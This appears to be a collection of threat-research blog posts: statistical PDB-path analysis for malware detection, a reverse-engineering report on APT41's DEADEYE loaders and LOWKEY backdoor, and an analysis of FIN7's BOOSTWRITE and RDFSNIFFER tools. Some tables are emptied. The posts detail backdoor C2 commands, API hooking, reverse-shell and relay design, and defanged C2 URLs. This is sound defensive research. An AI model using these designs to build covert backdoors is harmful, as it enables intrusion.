However, upon evaluation against our dataset, these features did not help to separate the classes very well. The following are some graphics detailing the distributions of these features between our classes of malicious and benign samples:

While there is potentially some separation between benign and malicious distributions, these features alone would likely not lead to an effective classifier (we tried). Additionally, we couldn’t easily translate these differences into explicit detection rules. There was more information in the paths that we needed to extract, so we began to look at how to encode the directory names themselves.


As with any dataset, we had to undertake some steps to normalize the paths. For example, the occurrence of individual usernames, while perhaps interesting from an intelligence perspective, would be represented as distinct entities when in fact they have the same semantic meaning. Thus, we had to detect and replace usernames with <username> to normalize this representation. Other folder idiosyncrasies such as version numbers or randomly generated directories could similarly be normalized into <version> or <random>.

A typical normalized path might therefore go from this:

C:\Users\jsmith\Documents\Visual Studio 2013\Projects\mkzyu91952\mkzyu91952\obj\x86\Debug\mkzyu91952.pdb

To this:

c:\users\<username>\documents\visual studio 2013\projects\<random>\<random>\obj\x86\debug\mkzyu91952.pdb

You may notice that the PDB filename itself was not normalized. In this case we wanted to derive features from the filename itself, so we left it. Other approaches could be to normalize it, or even to make note that the same filename string ‘mkzyu91952’ appears earlier in the path. There are endless possible features when dealing with file paths.

Directory Analysis

Once we had normalized directories, we could start to “tokenize” each directory term, to start performing some statistical analysis. Our main goal of this analysis was to see if there were any directory terms that highly corresponded to maliciousness, or see if there were any simple combinations, such as pairs or triplets, that exhibited similar behavior.

We did not find any single directory name that easily separated the classes. That would be too easy. However, we did find some general correlations with directories such as “Desktop” being somewhat more likely to be malicious, and use of shared drives such as Z: to be more indicative of a benign file. This makes intuitive sense given the more collaborative environment a “legitimate” software development process might require. There are, of course, many exceptions and this is what makes the problem tricky.

Another strong signal we found, at least in our dataset, is that when the word “Desktop” was in a non-English language and particularly in a different alphabet, the likelihood of that PDB path being tied to a malicious file was very high (Figure 2). While potentially useful, this can be indicative of geographical bias in our dataset, and further research would need to be done to see if this type of signature would generalize.

Figure 2: Unicode desktop folders from malicious samples

Various Tokenizing Schemes

In recording the directories of a file path, there are several ways you can represent the path. Let’s use this path to illustrate these different approaches:

c:\Leave\smell\Long\ruleThis.pdb (file)

Bag of Words

One very simple way is the “bag-of-words” approach, which simply treats the path as the distinct set of directory names it contains. Therefore, the aforementioned path would be represented as:


Positional Analysis

Another approach we considered was recording the position of each directory name, as a distance from the drive. This retained more information about depth, such that a ‘build’ directory on the desktop would be treated differently than a ‘build’ directory nine directories further down. For this purpose, we excluded the drives since they would always have the same depth.


N-Gram Analysis

Finally, we explored breaking paths into n-grams; that is, as a distinct set of n- adjacent directories. For example, a 2-gram representation of this path might look like:


We tested each of these approaches and while positional analysis and n-grams contained more information, in the end, bag-of-words seemed to generalize best. Additionally, using the bag-of-words approach made it easier to extract simple signature logic from the resultant models, as will be shown in a later section.

Term Co-Occurrence

Since we had the bag-of-words vectors created for each path, we were also able to evaluate term co-occurrence across benign and malicious files. When we evaluated the co-occurrence of pairs of terms, we found some other interesting pairings that indeed paint two very different pictures of development environments (Figure 3).

Correlated with Malicious Files

Correlated with Benign Files

users, desktop

src, retail

documents, visual studio 2012

obj, x64

local, temporary projects

src, x86

users, projects

src, win32

users, documents

retail, dynamic

appdata, temporary projects

src, amd64

users, x86

src, x64

Figure 3: Correlated pairs with malicious and benign files

Keyword Lists

Our bag-of-words representation of the PDB paths then gave us a distinct set of nearly 70,000 distinct terms. The vast majority of these terms occurred once or twice in the entire dataset, resulting in what is known as a ‘long-tailed’ distribution. Figure 4 is a graph of only the top 100 most common terms in descending order.

Figure 4: Long tailed distribution of term occurrence

As you can see, the counts drop off quickly, and you are left dealing with an enormous amount of terms that may only appear a handful of times. One very simple way to solve this problem, without losing a ton of information, is to simply cut off a keyword list after a certain number of entries. For example, take the top 50 occurring folder names (across both good and bad files), and save them as a keyword list. Then match this list against every path in the dataset. To create features, one-hot encode each match.  

Rather than arbitrarily setting a cutoff, we wanted to know a bit more about the distribution and understand where might be a good place to set a limit – such that we would cover enough of the samples without drastically increasing the number of features for our model. We therefore calculated the cumulative number of samples covered by each term, as we iterated down the list from most common to least common. Figure 5 is a graph showing the result.

Figure 5: Cumulative share of samples covered by distinct terms

As you can see, with only a small fraction of the terms, we can arrive at a significant percentage of the cumulative total PDB paths. Setting a simple cutoff at about 70% of the dataset resulted in roughly 230 terms for our total vocabulary. This gave us enough information about the dataset without blowing up our model with too many features (and therefore, dimensions). One-hot encoding the presence of these terms was then the final step in featurizing the directory names present in the paths.

YARA Signatures Do Grow on Trees

Armed with some statistical features, as well as one-hot encoded keyword matches, we began to train some models on our now-featurized dataset. In doing so, we hoped to use the model training and evaluation process to give us insights into how to build better signatures. If we developed an effective classification model, that would be an added benefit.

We felt that tree-based models made sense for this use case for two reasons. First, tree-based models have worked well in the past in domains requiring a certain amount of interpretability and using a blend of quantitative and categorical features. Second, the features we used are largely things we could represent in a YARA signature. Therefore, if our models built boolean logic branches that separated large numbers of PDB files, we could potentially translate these into signatures. This is not to say that other model families could not be used to build strong classifiers. Many other options ranging from Logistic Regression to Deep Learning could be considered.

We fed our featurized training set into a Decision Tree, having set a couple ‘hyperparameters’ such as max depth and minimum samples per leaf, etc. We were also able to use a sliding scale of these hyperparameters to dynamically create trees and, essentially, see what shook out. Examining a trained decision tree such as the one in Figure 6 allowed us to immediately build new signatures.

Figure 6: Example decision tree and decision paths

We found several other interesting tidbits within our decision trees. Some terms that resulted in completely or almost-completely malicious subgroups are:

Directory Term

Example Hashes









\temporary projects\








We also found the term ‘WindowsApplication1’ to be quite useful. 89% of the files in our dataset containing this directory were malicious. Cursory research indicates that this is the default directory generated when using Visual Studio to compile a Windows binary. Once again, this makes some intuitive sense for finding malware authors. Training and evaluating decision trees with various parameters turned out to be a hugely productive exercise in discovering potential new signature terms and logic.

Classification Accuracy and Findings

Since we now had a large dataset of PDB paths and features, we wanted to see if we could train a traditional classifier to separate good files from bad. Using a Random Forest with some tuning, we were able to achieve an average accuracy of 87% over 10 cross validations. However, while our recall (the percentage of bad things we could identify with the model) was relatively high at 89%, our malware precision (the share of those things we called bad that were actually bad) was far too low, hovering at or below 50%. This indicates that using this model alone for malware detection would result in an unacceptably large number of false positives, were we to deploy it in the wild as a singular detection platform. However, used in conjunction with other tools, this could be a useful weak signal to assist with analysis.

Conclusion and Next Steps

While our journey of statistical PDB analysis did not yield a magic malware classifier, it did yield a number of useful findings that we were hoping for:

  1. We developed several file path feature functions which are transferable to other models under development.
  2. By diving into statistical analysis of the dataset, we were able to identify new keywords and logic branches to include in YARA signatures. These signatures have since been deployed and discovered new malware samples.
  3. We answered a number of our own general research questions about PDB paths, and were able to dispel some theories we had not fully tested with data.

While building an independent classifier was not the primary goal, improvements can surely be made to improve the end model accuracy. Generating an even larger, more diverse dataset would likely make the biggest impact on our accuracy, recall, and precision. Further hyperparameter tuning and feature engineering could also help. There is a large amount of established research into text classification using various deep learning methods such as LSTMs, which could be applied effectively to a larger dataset.

PDB paths are only one small family of file paths that we encounter in the field of cyber security. Whether in initial infection, staging, or another part of the attack lifecycle, the file paths found during forensic analysis can reveal incredibly useful information about adversary activity. We look forward to further community research on how to properly extract and represent that information.

LOWKEY: Hunting for the Missing Volume Serial ID

In August 2019, FireEye released the “Double Dragon” report on our newest graduated threat group: APT41. A China-nexus dual espionage and financially-focused group, APT41 targets industries such as gaming, healthcare, high-tech, higher education, telecommunications, and travel services.

This blog post is about the sophisticated passive backdoor we track as LOWKEY, mentioned in the APT41 report and recently unveiled at the FireEye Cyber Defense Summit. We observed LOWKEY being used in highly targeted attacks, utilizing payloads that run only on specific systems. Additional malware family names are used in the blog post and briefly described. For a complete overview of malware used by APT41 please refer to the Technical Annex section of our APT41 report.

The blog post is split into three parts, which are shown in Figure 1. The first describes how we managed to analyze the encrypted payloads. The second part features position independent loaders we observed in multiple samples, adding an additional layer of obfuscation. The final part is about the actual backdoor we call LOWKEY, which comes in two variants, a passive TCP listener and a passive HTTP listener targeting Internet Information Services (IIS).

Figure 1: Blog post overview


Tracking APT41 activities over the past months, we observed multiple samples that shared two unique features: the use of RC5 encryption which we don’t encounter often, and a unique string “f@Ukd!rCto R$.”. We track these samples as DEADEYE.

DEADEYE comes in multiple variants:

  • DEADEYE.DOWN has the capability to download additional payloads.
  • DEADEYE.APPEND has additional payloads appended to it.
  • DEADEYE.EXT loads payloads that are already present on the system.


A sample belonging to DEADEYE.DOWN (MD5: 5322816c2567198ad3dfc53d99567d6e) attempts to download two files on the first execution of the malware.

The first file is downloaded from hxxp://checkin.travelsanignacio[.]com/static/20170730.jpg. The command and control (C2) server response is first RC5 decrypted with the key “wsprintfA” and then RC5 encrypted with a different key and written to disk as <MODULE_NAME>.mui.

The RC5 key is constructed using the volume serial number of the C drive. The volume serial number is a 4-byte value, usually based on the install time of the system. The volume serial number is XORed with the hard-coded constant “f@Ukd!rCto R$.” and then converted to hex to derive a key of up to 28 bytes in length. The key length can vary if the XORed value contains an embedded zero byte because the lstrlenA API call is used to determine the length of it. Note that the lstrlenA API call happens before the result is converted to hex. If the index of the byte modulo 4 is zero, the hex conversion is in uppercase. The key derivation is illustrated in Table 1.

Volume Serial number of C drive, for example 0xAABBCCDD

F          ^          0xAA

=          0xCC


@         ^          0xBB

=          0xFB


U          ^          0xCC

=          0x99


k          ^          0xDD

=          0xB6


d          ^          0xAA

=          0xCE


!           ^          0xBB

=          0x9A


r           ^          0xCC

=          0xBE


C          ^          0xDD

=          0x9E


t           ^          0xAA

=          0xDE


o          ^          0xBB

=          0xD4


(0x20)   ^          0xCC

=          0xEC


R          ^          0xDD

=          0x8F


$          ^          0xAA

=          0x8E


.           ^          0xBB

=          0x95


Derived key CCfb99b6CE9abe9eDEd4ec8f8E95

Table 1: Key derivation example

The second file is downloaded from hxxp://checkin.travelsanignacio[.]com/static/20160204.jpg. The C2 response is RC5 decrypted with the key “wsprintfA” and then XORed with 0x74, before it is saved as C:\Windows\System32\wcnapi.mui.

Figure 2: 5322816c2567198ad3dfc53d99567d6e download

The sample then determines its own module name, appends the extension mui to it and attempts to decrypt the file using RC5 encryption. This effectively decrypts the file the malware just downloaded and stored encrypted on the system previously. As the file has been encrypted with a key based on the volume serial number it can only be executed on the system it was downloaded on or a system that has the same volume serial number, which would be a remarkable coincidence.

An example mui file is the MD5 hash e58d4072c56a5dd3cc5cf768b8f37e5e. Looking at the encrypted file in a hex editor reveals a high entropy (7.999779/8). RC5 uses Electronic Code Book (ECB) mode by default. ECB means that each code block (64 bit) is encrypted independent from other code blocks. This means the same plaintext block always results in the same cipher text, independent from its position in the binary. The file has 792933 bytes in total but almost no duplicate cipher blocks, which means the data likely has an additional layer of encryption.

Without the correct volume serial number nor any knowledge about the plaintext there is no efficient way to decrypt the payload e58d4072c56a5dd3cc5cf768b8f37e5e with just the knowledge of the current sample.


Fortunately searching for the unique string “f@Ukd!rCto R$.“ in combination with artifacts from RC5 reveals additional samples. One of the related samples is DEADEYE.APPEND (MD5: 37e100dd8b2ad8b301b130c2bca3f1ea), which has been previously analyzed by Kaspersky ( This sample is different because it is protected with VMProtect and has the obfuscated binary appended to it. The embedded binary starts at offset 3287552 which can be seen in Figure 3 with the differing File Size and PE Size.

Figure 3: A look at the PE header reveals a larger file size than PE size

The encrypted payload has a slightly lower entropy of 7.990713 out of 8. Looking at the embedded binary in a hex editor reveals multiple occurrences of the byte pattern 51 36 94 A4 26 5B 0F 19, as seen in Figure 4. As this pattern occurs multiple times in a row in the middle of the encrypted data and ECB mode is being used, an educated guess is that the plaintext is supposed to be 00 00 00 00 00 00 00 00.

Figure 4: Repeating byte pattern in 37e100dd8b2ad8b301b130c2bca3f1ea

RC5 Brute Forcer

With this knowledge we decided to take a reference implementation of RC5 and add a main function that accounts for the key derivation algorithm used by the malware samples (see Figure 5). Brute forcing is possible as the key is derived from a single DWORD; even though the final key length might be 28 bytes, there are only 4294967296 possible keys. The code shown in Figure 5 generates all possible volume serial numbers, derives the key from them and tries to decrypt 51 36 94 A4 26 5B 0F 19 to 00 00 00 00 00 00 00 00. Running the RC5 brute forcer for a couple of minutes shows the correct volume serial number for the sample, which is 0xc25cff4c.

Note if you want to run the brute forcer yourself
The number of DWORDs of the key in the reference implementation we used is represented by the global c, and we had to change it to 7 to match the malware’s key length of 28 bytes. There were some issues with the conversion because in the malware a zero byte within the generated key ultimately leads to a shorter key length. The implementation we used uses a hard-coded key length (c), so we generated multiple executables with c = 6, c = 5, c = 4… as these usually only ran for a couple of minutes to cover the entire key space. All the samples mentioned in the Appendix 1 could be solved with c = 7 or c = 6.

Figure 5: Main function RC5 brute forcer

The decrypted payload belongs to the malware family POISONPLUG (MD5: 84b69b5d14ba5c5c9258370c9505438f). POISONPLUG is a highly obfuscated modular backdoor with plug-in capabilities. The malware is capable of registry or service persistence, self-removal, plug-in execution, and network connection forwarding. POISONPLUG has been observed using social platforms to host encoded command and control commands.

We confirmed the findings from Kaspersky and additionally found a second command and control URL hxxps://steamcommunity[.]com/id/oswal053, as mentioned in our APT 41 report.

Taking everything into account that we learned from DEADEYE.APPEND (MD5: 37e100dd8b2ad8b301b130c2bca3f1ea), we decided to take another look at the encrypted mui file (e58d4072c56a5dd3cc5cf768b8f37e5e). Attempts to brute force the first bytes to match with the ones of the decrypted POISONPLUG payload did not yield any results.

Fortunately, we found additional samples that use the same encryption scheme. In one of the samples the malware authors included two checks to validate the decrypted payload. The expected plaintext at the specified offsets for DEADEYE.APPEND (MD5: 7f05d410dc0d1b0e7a3fcc6cdda7a2ff) is shown in Table 2.


Expected byte after decryption









Table 2: Byte comparisons after decrypting in DEADEYE.APPEND (MD5: 7f05d410dc0d1b0e7a3fcc6cdda7a2ff)

Applying these constraints to our brute forcer and trying to decrypt mui file (e58d4072c56a5dd3cc5cf768b8f37e5e) once more resulted in a low number of successful hits which we could then manually check. The correct volume serial number for the encrypted mui is 0x243e2562. Analysis determined the decrypted file is XMRig miner. This also explains why the dropper downloads two files. The first, <MODULE_NAME>.mui is the crypto miner, and the second C:\Windows\System32\wcnapi.mui, is the configuration. The decrypted mui contains another layer of obfuscation and is eventually executed with the command x -c wcnapi.mui. An explanation on how the command was obtained and the additional layer of obfuscation is given in the next part of the blog post.

For a list of samples with the corresponding volume serial numbers, please refer to Appendix 1.

Additional RC4 Layer

An additional RC4 layer has been identified in droppers used by APT41, which we internally track as DEADEYE. The layer has been previously detailed in a blog post by ESET. We wanted to provide some additional information on this, as it was used in some of the samples we managed to brute force.

The additional layer is position independent shellcode containing a reflective DLL loader. The loader decrypts an RC4 encrypted payload and loads it in memory. The code itself is a straight forward loader with the exception of some interesting artifacts identified during analysis.

As mentioned in the blog post by ESET, the encrypted payload is prepended with a header. It contains the RC4 encryption key and two fields of variable length, which have previously been identified as file names. These two fields are encrypted with the same RC4 encryption key that is also used to decrypt the payload. The header is shown in Table 3.

Header bytes


0 15

RC4 key XOR encoded with 0x37

16 19

Size of loader stub before the header

20 23

RC4 key size

24 27

Command ASCII size (CAS)

28 31

Command UNICODE size (CUS)

32 35

Size of encrypted payload

36 39

Launch type

40 (40 + CAS)

Command ASCII

(40 + CAS) (40 + CAS + CUS)


(40 + CAS + CUS) (40 + CAS + CUS + size of encrypted payload)

Encrypted payload

Table 3: RC4 header overview

Looking at the payloads hidden behind the RC5 layer, we observed, that these fields are not limited to file names, instead they can also contain commands used by the reflective loader. If no command is specified, the default parameter is the file name of the loaded payload. In some instances, this revealed the full file path and file name in the development environment. Table 4 shows some paths and file names. This is also how we found the command (x -c wcnapi.mui) used to launch the decrypted mui file from the first part of the blog post.

MD5 hash

Arguments found in the RC4 layer

















Table 4: Decrypted paths and file names


The final part of the blog post describes the capabilities of the passive backdoor LOWKEY (MD5: 8aab5e2834feb68bb645e0bad4fa10bd) decrypted from DEADEYE.APPEND (MD5: 7f05d410dc0d1b0e7a3fcc6cdda7a2ff). LOWKEY is a passive backdoor that supports commands for a reverse shell, uploading and downloading files, listing and killing processes and file management. We have identified two variants of the LOWKEY backdoor.

The first is a TCP variant that listens on port 53, and the second is an HTTP variant that listens on TCP port 80. The HTTP variant intercepts URL requests matching the UrlPrefix http://+:80/requested.html. The + in the given UrlPrefix means that it will match any host name. It has been briefly mentioned by Kaspersky as “unknown backdoor”.

Both variants are loaded by the reflective loader described in the previous part of the blog post. This means we were able to extract the original file names. They contain meaningful names and provide a first hint on how the backdoor operates.

HTTP variant (MD5: c11dd805de683822bf4922aecb9bfef5)

TCP variant (MD5: 7f05d410dc0d1b0e7a3fcc6cdda7a2ff)

The interesting parts are shown in Figure 6. PortReuse describes the general idea behind the backdoor, to operate on a well-known port. The paths also contain version numbers 2.5 and v1.3-53. IIS_Share is used for the HTTP variant and describes the targeted application, DeviceIOContrl-Hook is used for the TCP variant.

Figure 6: Overview important parts of executable path

Both LOWKEY variants are functionally identical with one exception. The TCP variant relies on a second component, a user mode rootkit that is capable of intercepting incoming TCP connections. The internal name used by the developers for that component is E:\code\PortReuse\3389-share\DeviceIOContrl-Hook\v1.3-53\NetAgent\x64\Release\NetAgent.exe.

Figure 7: LOWKEY components


Inner-Loader.dll is a watch guard for the LOWKEY backdoor. It leverages the GetExtendedTcpTable API to retrieve all processes with an open TCP connection. If a process is listening on TCP port 53 it injects NetAgent.exe into the process. This is done in a loop with a 10 second delay. The loader exits the loop when NetAgent.exe has been successfully injected. After the injection it will create a new thread for the LOWKEY backdoor (SK3.x.exe).

The watch guard enters an endless loop that executes every 20 minutes and ensures that the NetAgent.exe and the LOWKEY backdoor are still active. If this is not the case it will relaunch the backdoor or reinject the NetAgent.exe.


NetAgent.exe is a user mode rootkit that provides covert communication with the LOWKEY backdoor component. It forwards incoming packets, after receiving the byte sequence FF FF 01 00 00 01 00 00 00 00 00 00, to the named pipe \\.\pipe\Microsoft Ole Object {30000-7100-12985-00001-00001}.

The component works by hooking the NtDeviceIoControlFile API. It does that by allocating a suspiciously large region of memory, which is used as a global hook table. The table consists of 0x668A0 bytes and has read, write and execute permissions set.

Each hook table entry consists of 3 pointers. The first points to memory containing the original 11 bytes of each hooked function, the second entry contains a pointer to the remaining original instructions and the third pointer points to the function hook. The malware will only hook one function in this manner and therefore allocates an unnecessary large amount of memory. The malware was designed to hook up to 10000 functions this way.

The hook function begins by iterating the global hook table and compares the pointer to the hook function to itself. This is done to find the original instructions for the installed hook, in this case NtDeviceIoControlFile. The malware then executes the saved instructions which results in a regular NtDeviceIoControlFile API call. Afterwards the IoControlCode is compared to 0x12017 (AFD_RECV).

If the IoControlCode does not match, the original API call results are returned.

If they match the malware compares the first 12 bytes of the incoming data. As it is effectively a TCP packet, it is parsing the TCP header to get the data of the packet. The first 12 bytes of the data section are compared against the hard-coded byte pattern: FF FF 01 00 00 01 00 00 00 00 00 00.

If they match it expects to receive additional data, which seems to be unused, and then responds with a 16 byte header 00 00 00 00 00 91 03 00 00 00 00 00 80 1F 00 00, which seems to be hard-coded and to indicate that following packets will be forwarded to the named pipe \\.\pipe\Microsoft Ole Object {30000-7100-12985-00001-00001}. The backdoor component (SK3.x.exe) receives and sends data to the named pipe. The hook function will forward all received data from the named pipe back to the socket, effectively allowing a covert communication between the named pipe and the socket.


SK3.x.exe is the actual backdoor component. It supports writing and reading files, modification of file properties, an interactive command shell, TCP relay functionality and listing running processes. The backdoor opens a named pipe \\.\pipe\Microsoft Ole Object {30000-7100-12985-00001-00001} for communication.

Data received by the backdoor is encrypted with RC4 using the key “CreateThread“ and then XORed with 0x77. All data sent by the backdoor uses the same encryption in reverse order (first XOR with 0x77, then RC4 encrypted with the key “CreateThread“). Encrypted data is preceded by a 16-byte header which is unencrypted containing an identifier and the size of the following encrypted packet.

An example header looks as follows:
00 00 00 00 00 FD 00 00 10 00 00 00 00 00 00 00



00 00 00 00 00


FD 00

Bytes 5 and 6 are the command identifier, for a list of all supported identifiers check Table 6 and Table 7.



10 00 00 00

Size of the encrypted packet that is send after the header

00 00 00 00


Table 5: Subcomponents of header

The backdoor supports the commands listed in tables Table 6 and Table 7. Most commands expect a string at the beginning which likely describes the command and is for the convenience of the operators, but this string isn't actively used by the malware and could be anything. For example, KILL <PID> could also be A <PID>. Some of the commands rely on two payloads (UserFunction.dll and ProcTran.dll), that are embedded in the backdoor and are either injected into another process or launch another process.


Userfunction.dll starts a hidden cmd.exe process, creates the named pipe \\.\pipe\Microsoft Ole Object {30000-7100-12985-00000-00000} and forwards all received data from the pipe to the standard input of the cmd.exe process. All output from the process is redirected back to the named pipe. This allows interaction with the shell over the named pipe.


The component opens a TCP connection to the provided host and port, creates the named pipe \\.\pipe\Microsoft Ole Object {30000-7100-12985-00000-00001} and forwards all received data from the pipe to the opened TCP connection. All received packets on the connection are forwarded to the named pipe. This allows interaction with the TCP connection over the named pipe.





<cmd> <arg1> <arg2>

Provides a simple shell, that supports the following commands, dir, copy, move, del, systeminfo and cd. These match the functionality of standard commands from a shell. This is the only case where the <cmd> is actually used.


<cmd> <arg1>

The argument is interpreted as a process id (PID). The backdoor injects UserFunction.dll into the process, which is an interactive shell that forwards all input and output data to Microsoft Ole Object {30000-7100-12985-00000-00000}. The backdoor will then forward incoming data to the named pipe allowing for communication with the opened shell. If no PID is provided, the `cmd.exe` is launched as child process of the backdoor process with input and output redirected to the named pipe Microsoft Ole Object {30000-7100-12985-00001-00001}


<cmd> <arg1> <arg2>

Writes data to a file. The first argument is the <file_name>, the second argument is an offset into the file


<cmd> <arg1> <arg2>

Reads data from a file. The first argument is the <file_name>, the second argument is an offset into the file, the third argument is optional, and the exact purpose is unknown



Lists running processes, including the process name, PID, process owner and the executable path


<cmd> <arg1>

Kills the process with the provided process id (PID)


<cmd> <arg1> <arg2>

Copies the files CreationTime, LastAccessTime and LastWriteTime from the second argument and applies them to the first argument. Both arguments are expected to be full file paths. The order of the arguments is a bit unusual, as one would usually apply the access times from the second argument to the third



List running processes with additional details like the SessonId and the CommandLine by executing the WMI query SELECT Name,ProcessId,SessionId,CommandLine,ExecutablePath FROM Win32_Process



Ping command, the malware responds with the following byte sequence 00 00 00 00 00 65 00 00 00 00 00 00 06 00 00 00. Experiments with the backdoor revealed that the identifier 0x65 seems to indicate a successful operation, whereas 0x66 indicates an error.

Table 6: C2 commands

The commands listed in Table 7 are used to provide functionality of a TCP traffic relay. This allows operators to communicate through the backdoor with another host via TCP. This could be used for lateral movement in a network. For example, one instance of the backdoor could be used as a jump host and additional hosts in the target network could be reached via the TCP traffic relay. Note that the commands 0xD2, 0xD3 and 0xD6 listed in Table 7 can be used in the main backdoor thread, without having to use the ProcTran.dll.





<cmd> <arg1>

The argument is interpreted as a process id (PID). The backdoor injects ProcTran.dll into the process, which is a TCP traffic relay component that forwards all input and output data to Microsoft Ole Object {30000-7100-12985-00000-00001}. The commands 0xD2, 0xD3 and 0xD6 can then be used with the component.


<arg1> <arg2>

Opens a connection to the provided host and port, the first argument is the host, the second the port. On success a header with the identifier set to 0xD4 is returned (00 00 00 00 00 D4 00 00 00 00 00 00 00 00 00 00). This effectively establishes a TCP traffic relay allowing operators to communicate with another system through the backdoored machine.



Receives and sends data over the connection opened by the 0xD2 command. Received data is first RC4 decrypted with the key “CreateThread“ and then single-byte XOR decoded with 0x77. Data sent back is directly relayed without any additional encryption.



Closes the socket connection that had been established by the 0xD2 command



Closes the named pipe Microsoft Ole Object {30000-7100-12985-00000-00001} that is used to communicate with the injected ProcTran.dll. This seems to terminate the thread in the targeted process by the 0x105 command

Table 7: C2 commands TCP relay


The TCP LOWKEY variant passively listens for the byte sequence FF FF 01 00 00 01 00 00 00 00 00 00 on TCP port 53 to be activated. The backdoor then uses up to three named pipes for communication. One pipe is used for the main communication of the backdoor, the other ones are used on demand for the embedded payloads.

  • \\.\pipe\Microsoft Ole Object {30000-7100-12985-00001-00001} main communication pipe
  • \\.\pipe\Microsoft Ole Object {30000-7100-12985-00000-00001} named pipe used for interaction with the TCP relay module ProcTran.dll
  • \\.\pipe\Microsoft Ole Object {30000-7100-12985-00000-00000} named pipe used for the interactive shell module UserFunction.dll

Figure 8 summarizes how the LOWKEY components interact with each other.

Figure 8: LOWKEY passive backdoor overview



Correct Volume Serial

Dropper Family

Final Payload Family



























































None - encrypted data


















Appendix 1: List of samples with RC5 encrypted payloads

Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques

During several recent incident response engagements, FireEye Mandiant investigators uncovered new tools in FIN7’s malware arsenal and kept pace as the global criminal operators attempted new evasion techniques. In this blog, we reveal two of FIN7’s new tools that we have called BOOSTWRITE and RDFSNIFFER.

The first of FIN7's new tools is BOOSTWRITE – an in-memory-only dropper that decrypts embedded payloads using an encryption key retrieved from a remote server at runtime. FIN7 has been observed making small changes to this malware family using multiple methods to avoid traditional antivirus detection, including a BOOSTWRITE sample where the dropper was signed by a valid Certificate Authority. One of the analyzed BOOSTWRITE variants contained two payloads: CARBANAK and RDFSNIFFER. While CARBANAK has been thoroughly analyzed and has been used maliciously by several financial attackers including FIN7, RDFSNIFFER is a newly-identified tool recovered by Mandiant investigators.

RDFSNIFFER, a payload of BOOSTWRITE, appears to have been developed to tamper with NCR Corporation's “Aloha Command Center” client. NCR Aloha Command Center is a remote administration toolset designed to manage and troubleshoot systems within payment card processing sectors running the Command Center Agent. The malware loads into the same process as the Command Center process by abusing the DLL load order of the legitimate Aloha utility. Mandiant provided this information to NCR.

BOOSTWRITE Loader: Where You At?

BOOSTWRITE is a loader crafted to be launched via abuse of the DLL search order of applications which load the legitimate ‘Dwrite.dll’ provided by the Microsoft DirectX Typography Services. The application loads the ‘gdi’ library, which loads the ‘gdiplus’ library, which ultimately loads ‘Dwrite’. Mandiant identified instances where BOOSTWRITE was placed on the file system alongside the RDFClient binary to force the application to import DWriteCreateFactory from it rather than the legitimate DWrite.dll.

Once loaded, `DWrite.dll` connects to a hard-coded IP and port from which it retrieves a decryption key and initialization vector (IV) to decrypt two embedded payload DLLs. To accomplish this task, the malware first generates a random file name to be used as a text log under the current user's %TEMP% directory; this filename starts with ~rdf and is followed by a set of random numbers. Next, the malware scans its own image to find the location of a 32-byte long multi-XOR key which is used to decode data inside its body. Part of the decoded data is an IP address and port which are used to retrieve the key and the IV for the decryption of the embedded payloads. The encryption algorithm uses the ChaCha stream cipher with a 256-bit key and 64-bit IV.

Once the key and the IV are downloaded the malware decrypts the embedded payloads and performs sanity checks on the results. The payloads are expected to be PE32.DLLs which, if the tests pass, are loaded into memory without touching the filesystem.

The malware logs various plaintext messages to the previously created logfile %TEMP%\~rds<rnd_numbers> which are indicative of the loader’s execution progress. An example of the file content is shown in Figure 1:

Init OK
Key OK
Data: 4606941
HS: 20
K:[32] V:[8]
DCnt: 732642317(ERR)

Figure 1: BOOSTWRITE log file

Before exiting, the malware resolves the location of the benign DWrite.dll library and passes the execution control to its DWriteCreateFactory method.

The malware decrypts and loads two payload DLLs. One of the DLLs is an instance of the CARBANAK backdoor; the other DLL is a tool tracked by FireEye as RDFSNIFFER which allows an attacker to hijack instances of the NCR Aloha Command Center Client application and interact with victim systems via existing legitimate 2FA sessions.

RDFSNIFFER Module: We Smell a RAT

RDFSNIFFER is a module loaded by BOOSTWRITE which allows an attacker to monitor and tamper with legitimate connections made via NCR Corporation’s ‘Aloha Command Center Client’ (RDFClient), an application designed to provide visibility and system management capabilities to remote IT techs. RDFSNIFFER loads into the same process as the legitimate RDFClient by abusing the utility’s DLL load order, launching each time the ‘Aloha Command Center Client’ is executed on an impacted system.

When the RDFSNIFFER module is loaded by BOOSTWRITE it hooks several Win32 API functions intended to enable it to tamper with NCR Aloha Command Center Client sessions or hijack elements of its user-interface (Table 1). Furthermore, this enables the malware to alter the user’s last input time to ensure application sessions do not time out.

Win32 API Function

Hook Description


Used to man-in-the-middle SSL sessions


Used to man-in-the-middle SSL sessions


Used to man-in-the-middle socket connections


Used to man-in-the-middle socket connections


Used to man-in-the-middle socket connections


Used to hijack the utility's UI


Used to hijack the utility's UI


Used to hijack the utility's UI


Used to hijack the utility's UI


Used to change the user's last input time (to avoid timed lock outs)

Table 1: RDFSNIFFER’s Hooked Win32 API Functions

This module also contains a backdoor component that enables it to inject commands into an active RDFClient session. This backdoor allows an attacker to upload, download, execute and/or delete arbitrary files (Table 2).

Command Name

Legit Function in RDFClient

RDFClient Command ID





Uploads a file to the remote system




Retrieves a file from the remote system




Executes a command on the remote system




Deletes file on remote system




Deletes a local file

Table 2: RDFSNIFFER’s Backdoor Functions

Signed: Yours Truly, FIN7

While the majority of BOOSTWRITE variants recovered from investigations have been unsigned, Mandiant identified a signed BOOSTWRITE sample used by FIN7 during a recent investigation. Following that discovery, a signed BOOSTWRITE sample was uploaded to VirusTotal on October 3. This executable uses a code signing certificate issued by MANGO ENTERPRISE LIMITED (Table 3).








32 7F 8F 10 74 78 42 4A BE B8 2A 85 DC 36 57 03 CC 82 70 5B

Table 3: Code signing certificate used for BOOSTWRITE

This indicates the operators may be actively altering this malware to avoid traditional detection mechanisms. Notably, the signed BOOSTWRITE sample had a 0/68 detection ratio when it was uploaded to VirusTotal, demonstrating the effectiveness of this tactic (Figure 2).

Figure 2: Current VirusTotal detection ratio for signed BOOSTWRITE

